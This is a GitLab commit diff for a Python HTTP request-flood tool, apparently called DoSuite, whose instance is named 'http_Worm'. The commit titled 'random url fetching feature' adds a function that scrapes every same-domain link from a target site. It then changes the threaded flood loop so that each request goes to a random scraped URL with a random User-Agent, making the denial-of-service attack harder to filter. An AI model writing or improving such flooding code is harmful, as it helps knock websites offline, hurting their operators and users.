Skip to content
Snippets Groups Projects
Commit 5a03f001 authored by Hemanth VSR's avatar Hemanth VSR :speech_balloon:
Browse files

random url fetching feature

parent 41eda7fc
No related branches found
No related tags found
No related merge requests found
......@@ -8,7 +8,9 @@ try:
import random
from colorama import Fore,Back,Style
import time
import bs4
import os
from bs4 import BeautifulSoup
import subprocess
import socket
import json
......@@ -513,7 +515,9 @@ class DoSuiteActivated():
def request_flood(self):
try:
url = self.url
self.load_urls(self.url)
i = 0
thread = self.thread
while i < thread:
......@@ -561,6 +565,7 @@ class DoSuiteActivated():
headers = {
'User-Agent' : random.choice(useragent_)
}
url = random.choice(self.loaded_urls)
t = self.time_in_milli()
r = requests.get(url, headers=headers)
z = self.time_in_milli() - t
......@@ -707,7 +712,7 @@ class DoSuiteActivated():
except:
print(f"{self.bold}{self.white}[{self.red}Alert{self.white}]: Sorry! the control server is down. Contact developers to know the reason{self.reset}")
exit(0)
# 7 for access granted
if data['Response'] == 7:
# print("Success")
......@@ -757,8 +762,28 @@ class DoSuiteActivated():
print(f"{self.bold}{self.white}[{self.red}OOPS!{self.white}]: Cannot calculate version!{self.reset}")
# add this exit() when release from beta to full public use
# exit(0)
"""
@return type none
Operation => This function will load all the url schema in a particular domain
"""
def load_urls(self, url):
r = requests.get(url)
soup = bs4.BeautifulSoup(r.text, "html.parser")
jap = []
for link in soup.find_all("a"):
try:
if url in link.get("href"):
jap.append(link.get("href"))
except:
continue
self.loaded_urls = jap
if __name__ == "__main__":
try:
......@@ -766,7 +791,7 @@ if __name__ == "__main__":
if os.uname().sysname == "Darwin" or os.uname().sysname == "darwin" or sys.platform == "Darwin" or sys.platform == "darwin":
# add a parameetr to determine the operating system
# add a parameter to determine the operating system
http_Worm = DoSuiteActivated(os.uname().release, "Mac", "Darwin")
http_Worm.have_control()
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment